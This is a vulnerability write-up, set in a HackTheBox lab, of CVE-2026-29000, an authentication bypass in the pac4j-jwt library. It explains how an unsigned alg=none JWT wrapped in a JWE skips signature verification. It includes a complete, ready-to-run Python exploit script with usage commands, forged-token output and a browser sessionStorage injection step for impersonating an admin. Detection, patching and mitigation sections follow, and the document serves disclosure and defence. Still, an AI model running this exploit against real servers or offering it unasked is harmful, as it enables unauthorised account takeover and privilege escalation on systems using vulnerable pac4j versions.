Overview
| Property | Detail |
|---|---|
| CVE ID | CVE-2026-29000 |
| Affected Library | pac4j-jwt |
| Affected Versions | < 4.5.9 / < 5.7.9 / < 6.3.3 |
| Severity | Critical |
| Type | Authentication Bypass |
| CWE | CWE-347: Improper Verification of Cryptographic Signature |
| Fixed Versions | 4.5.9+, 5.7.9+, 6.3.3+ |
| PoC Author | Amanja Francisco (0xDoomsKnight) |
| Context | Retired HackTheBox machine — Principal |
This is a vulnerability I researched and built a PoC for in the context of the retired HackTheBox machine Principal. The root cause is a single unchecked null reference in the JWT validation path — not a cryptographic weakness, not a timing attack. Just a code path where the library trusts a token it never verified.
The full PoC is available at: github.com/PtechAmanja/CVE-2026-29000-pac4j-jwt-auth-bypass
Background: JWT, JWS, and JWE
To understand this vulnerability, you need to know the difference between three token formats that are often conflated.
JWT (JSON Web Token)
A JWT is a compact, URL-safe way to encode claims (key-value pairs) between parties. It is always a Base64URL-encoded header, a Base64URL-encoded payload (the claims), and a third component that depends on the token type.
JWS (JSON Web Signature)
A signed JWT — often what people mean when they say "JWT". The third component is a cryptographic signature over the header and payload. The recipient verifies the signature using the issuer's public key (RS256, ES256) or a shared secret (HS256). If the signature does not match, the token is rejected.
JWS format: base64url(header).base64url(payload).base64url(signature)JWE (JSON Web Encryption)
An encrypted JWT. Instead of a signature, the token is encrypted — the recipient must decrypt it before reading the claims. JWE does NOT imply that the inner content is signed. A JWE can contain a JWS (encrypted+signed), a PlainJWT (encrypted but unsigned), or even a nested JWE.
JWE format: base64url(header).base64url(encryptedKey).base64url(IV).base64url(ciphertext).base64url(tag)PlainJWT (alg=none)
A JWT with "alg": "none" in the header and an empty signature component. No cryptographic protection whatsoever — anyone can forge the claims. Most JWT libraries reject alg: none tokens at the surface level, but the check is often applied before decryption, not after.
The Vulnerability: Root Cause
The bug lives in pac4j's JwtAuthenticator.validateToken() method. The relevant code path (simplified):
// pac4j JwtAuthenticator — vulnerable pseudocode
public void validate(TokenCredentials credentials) {
String token = credentials.getToken();
JWT jwt = JWTParser.parse(token);
if (jwt instanceof EncryptedJWT) {
// Decrypt the JWE envelope
EncryptedJWT encryptedJWT = (EncryptedJWT) jwt;
encryptedJWT.decrypt(decrypter);
// Get the inner payload — expected to be a SignedJWT
JWT inner = encryptedJWT.getPayload().toSignedJWT(); // ← RETURNS NULL for PlainJWT
// Verify the inner token's signature
inner.verify(verifier); // ← NullPointerException... or null check skipped
}
// Build user profile from claims — reached WITHOUT signature verification
JWTClaimsSet claims = jwt.getJWTClaimsSet();
buildProfile(credentials, claims);
}The critical line: encryptedJWT.getPayload().toSignedJWT() returns null when the inner token is a PlainJWT. In the vulnerable versions, this null is not checked before the verification step is attempted — the verification is either silently skipped or short-circuits without rejecting the token. Execution falls through to buildProfile() which reads claims from the unverified PlainJWT payload and constructs a fully trusted user session.
Why This Works
- The JWE layer is correctly encrypted with the server's RSA public key — the decryption succeeds
- After decryption, the server expects a
SignedJWTbut gets aPlainJWT - The null check on the
SignedJWTis missing — signature verification is bypassed - The claims in the
PlainJWTare attacker-controlled — we setsub=admin,role=ROLE_ADMIN - The server builds a trusted session from those claims
Encryption ≠ Authentication. The JWE envelope provides confidentiality (only the server can decrypt it), but the server needed its own public key to encrypt it — which is available via the JWKS endpoint. So the attacker uses the public key to encrypt arbitrary claims, and the server decrypts them as trusted.
Attack Requirements
- The server's RSA public key — typically exposed at
/api/auth/jwksor/.well-known/jwks.json - Knowledge of the expected claim names (
sub,role, etc.) — usually discoverable via JWT inspection or API responses - A running instance of
pac4j-jwt< 4.5.9 / < 5.7.9 / < 6.3.3
No valid credentials required. No brute force. One request.
Exploit Flow
1. Fetch server's RSA public key from JWKS endpoint
↓
2. Craft malicious claims: sub=admin, role=ROLE_ADMIN
↓
3. Build unsigned PlainJWT (alg=none) containing those claims
↓
4. Wrap PlainJWT inside JWE — encrypt with server's RSA public key (RSA-OAEP-256 / A128GCM)
↓
5. Submit JWE token in Authorization: Bearer header
↓
6. Server decrypts JWE → finds PlainJWT → toSignedJWT() returns null
↓
7. Signature verification skipped → buildProfile() runs with attacker claims
↓
8. Server returns 200 — authenticated as adminPoC: poc.py — Full Walkthrough
The PoC is a single Python script using jwcrypto and requests.
Dependencies
pip install jwcrypto requestsCore Logic
#!/usr/bin/env python3
"""
CVE-2026-29000 — pac4j-jwt Authentication Bypass PoC
A logic flaw in JwtAuthenticator allows bypassing auth by wrapping
an unsigned PlainJWT (alg=none) inside a JWE. The server decrypts
the JWE, finds a null SignedJWT, skips signature verification,
and builds a trusted profile from attacker-controlled claims.
Author: Doomsknight — 24 Mar 2026
"""
import base64, json, time, argparse, requests
from jwcrypto import jwk, jwt
def b64url(data):
if isinstance(data, str):
data = data.encode()
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
def build_unsigned_jwt(claims):
"""Build a PlainJWT (alg=none) — no signature."""
header = b64url(json.dumps({"alg": "none"}))
body = b64url(json.dumps(claims))
return f"{header}.{body}." # empty signature component
def forge_token(jwks_data, user="admin", role="ROLE_ADMIN"):
key = jwk.JWK(**jwks_data)
now = int(time.time())
payload = {
"sub": user,
"role": role,
"iss": "principal-platform",
"iat": now,
"exp": now + 3600
}
# Step 1 — build unsigned inner JWT
inner_jwt = build_unsigned_jwt(payload)
# Step 2 — wrap inside JWE using server's RSA public key
outer_jwt = jwt.JWT(
header={
"alg": "RSA-OAEP-256", # RSA encryption of the CEK
"enc": "A128GCM", # AES-GCM content encryption
"cty": "JWT" # inner content type = JWT
},
claims=inner_jwt
)
outer_jwt.make_encrypted_token(key)
return outer_jwt.serialize()
def main():
parser = argparse.ArgumentParser(description="CVE-2026-29000 PoC")
parser.add_argument("--jwks-url", required=True, help="JWKS endpoint URL")
parser.add_argument("--target", help="Target endpoint to test token against")
parser.add_argument("--user", default="admin")
parser.add_argument("--role", default="ROLE_ADMIN")
args = parser.parse_args()
print(f"[+] Fetching JWKS from {args.jwks_url}")
jwks = requests.get(args.jwks_url, verify=False).json()["keys"][0]
token = forge_token(jwks, args.user, args.role)
print("\n[+] Forged Token:\n")
print(token)
print("\n[+] Browser Injection:\n")
print(f'sessionStorage.setItem("auth_token", "{token}")')
if args.target:
print("\n[+] Testing token against target...")
r = requests.get(args.target, headers={"Authorization": f"Bearer {token}"}, verify=False)
print(f"[+] Status: {r.status_code}")
print(r.text[:500])
if __name__ == "__main__":
main()Usage
# Basic — forge token and print it
python3 poc.py --jwks-url http://target/api/auth/jwks
# Full — forge + test against a protected endpoint
python3 poc.py \
--jwks-url http://target/api/auth/jwks \
--target http://target/api/dashboard
# Custom impersonation
python3 poc.py \
--jwks-url http://target/api/auth/jwks \
--user superadmin \
--role ROLE_SUPERADMINExpected Output
[+] Fetching JWKS from http://target/api/auth/jwks
[+] Forged Token:
eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwiY3R5IjoiSldUIn0...
[+] Browser Injection:
sessionStorage.setItem("auth_token", "eyJhbGciOiJSU0EtT0FFUC0yNTYi...")
[+] Testing token against target...
[+] Status: 200
{"user":{"username":"admin","role":"ROLE_ADMIN"}}Browser Exploitation
If the application stores the auth token in sessionStorage:
// Open DevTools → Console, paste:
sessionStorage.setItem("auth_token", "<PASTE_FORGED_TOKEN_HERE>")
// Navigate to /dashboard — you are now authenticated as adminWhy cty: JWT Is the Key
The "cty": "JWT" header on the outer JWE is what tells the pac4j library that the inner payload is itself a JWT and should be parsed accordingly. Without it, the server would treat the decrypted content as a plain string and likely reject it. With it, the server parses the inner PlainJWT, calls toSignedJWT() on it, gets null, and proceeds.
This is a subtle but important detail — the exploit only works because the attacker controls the JWE header and can set cty: JWT to trigger the vulnerable code path.
Impact
| Scope | Impact |
|---|---|
| Authentication | Complete bypass — forge any user identity |
| Authorisation | Escalate to any role including admin |
| Confidentiality | Access all data available to impersonated user |
| Integrity | Perform any action available to impersonated user |
| Availability | Denial-of-service by abusing admin functionality |
Any pac4j-protected endpoint is fully bypassed. There is no partial mitigation at the application layer — if the library version is vulnerable, every JWT-authenticated endpoint is vulnerable.
Detection
In Application Logs
Look for JWE tokens arriving at authentication endpoints where the inner content type is JWT (cty: JWT in the outer header):
# If your WAF or API gateway logs raw Authorization headers
grep -i "RSA-OAEP" access.log | grep "cty.*JWT"Token Forensics
A forged token has a distinctive structure when decoded:
# Decode the outer JWE header (first segment, base64url)
echo "eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwiY3R5IjoiSldUIn0" \
| base64 -d 2>/dev/null
# Output: {"alg":"RSA-OAEP-256","enc":"A128GCM","cty":"JWT"}A legitimate token from a properly implemented server would contain a JWS (three-segment inner token with a non-empty signature). A malicious token's inner payload, after decryption, ends with a . and an empty signature: header.payload.
Runtime Detection (Java agent / interceptor)
In a patched or monitored environment, add a log line at the JWE decryption boundary:
JWT inner = encryptedJWT.getPayload().toSignedJWT();
if (inner == null) {
logger.warn("SECURITY: Received PlainJWT inside JWE from {}", request.getRemoteAddr());
throw new CredentialsException("PlainJWT not allowed inside JWE");
}Mitigation
Primary Fix — Upgrade pac4j-jwt
The only complete fix is upgrading to a patched version:
<!-- Maven -->
<dependency>
<groupId>org.pac4j</groupId>
<artifactId>pac4j-jwt</artifactId>
<version>6.3.3</version> <!-- or 5.7.9 / 4.5.9 depending on your branch -->
</dependency>// Gradle
implementation 'org.pac4j:pac4j-jwt:6.3.3'Secondary Fix — Explicit PlainJWT Rejection
If upgrading immediately is not possible, add an explicit check after JWE decryption:
if (jwt instanceof PlainJWT) {
throw new CredentialsException("PlainJWT not allowed as inner token of JWE");
}Defence in Depth
- Rotate the RSA key pair used for JWE — the attacker needs the public key
- Restrict JWKS endpoint to authenticated clients or remove it entirely if not needed
- Add WAF rules to block
Authorizationheaders containing tokens withcty: JWTin the outer header if your application does not use nested JWTs legitimately - Enable JWT issuer (
iss) and audience (aud) validation — forged tokens may fail these checks even if signature verification is bypassed
Comparison to alg:none Attacks
The classic alg: none attack is well known: change the algorithm to none, strip the signature, and submit the modified token. Most JWT libraries have been patched against this for years — they explicitly reject alg: none at the surface level.
CVE-2026-29000 is different because the alg: none token is hidden inside a JWE. The surface-level check never sees it:
| Classic alg:none | CVE-2026-29000 | |
|---|---|---|
| Token structure | header.payload. (no signature) | JWE wrapping a PlainJWT |
| Blocked by surface alg:none check | Yes — most libraries | No — the outer token is a valid JWE |
| Requires public key | No | Yes (but it's public) |
| Affected by standard mitigations | Yes | No |
This is a more sophisticated variant that bypasses the standard defences.
Timeline
| Date | Event |
|---|---|
| Mar 24, 2026 | CVE-2026-29000 disclosed, PoC published by 0xDoomsKnight |
| Mar 24, 2026 | Patched versions 4.5.9 / 5.7.9 / 6.3.3 released by pac4j team |
References
- GitHub PoC — CVE-2026-29000-pac4j-jwt-auth-bypass
- pac4j GitHub — Security Advisory
- RFC 7519 — JSON Web Token (JWT)
- RFC 7516 — JSON Web Encryption (JWE)
- RFC 7515 — JSON Web Signature (JWS)
Disclaimer
This research and PoC are published for educational and defensive security purposes. Only test against systems you own or have explicit written authorisation to test. Unauthorised access to computer systems is illegal.